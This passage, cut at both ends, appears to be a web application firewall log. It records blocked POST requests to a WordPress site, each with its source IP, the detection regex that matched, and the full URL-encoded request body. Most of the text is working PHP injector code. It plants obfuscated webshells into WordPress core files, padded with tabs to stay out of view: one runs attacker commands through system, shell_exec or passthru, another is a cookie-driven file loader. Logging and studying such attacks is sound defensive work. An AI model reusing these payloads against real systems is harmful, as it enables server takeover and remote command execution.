epeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:46:34","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\ncontent-length:5248\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:46:35","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3252\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\n\nnA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:48:31","121.200.216.56","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3252\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nVs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:48:53","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ 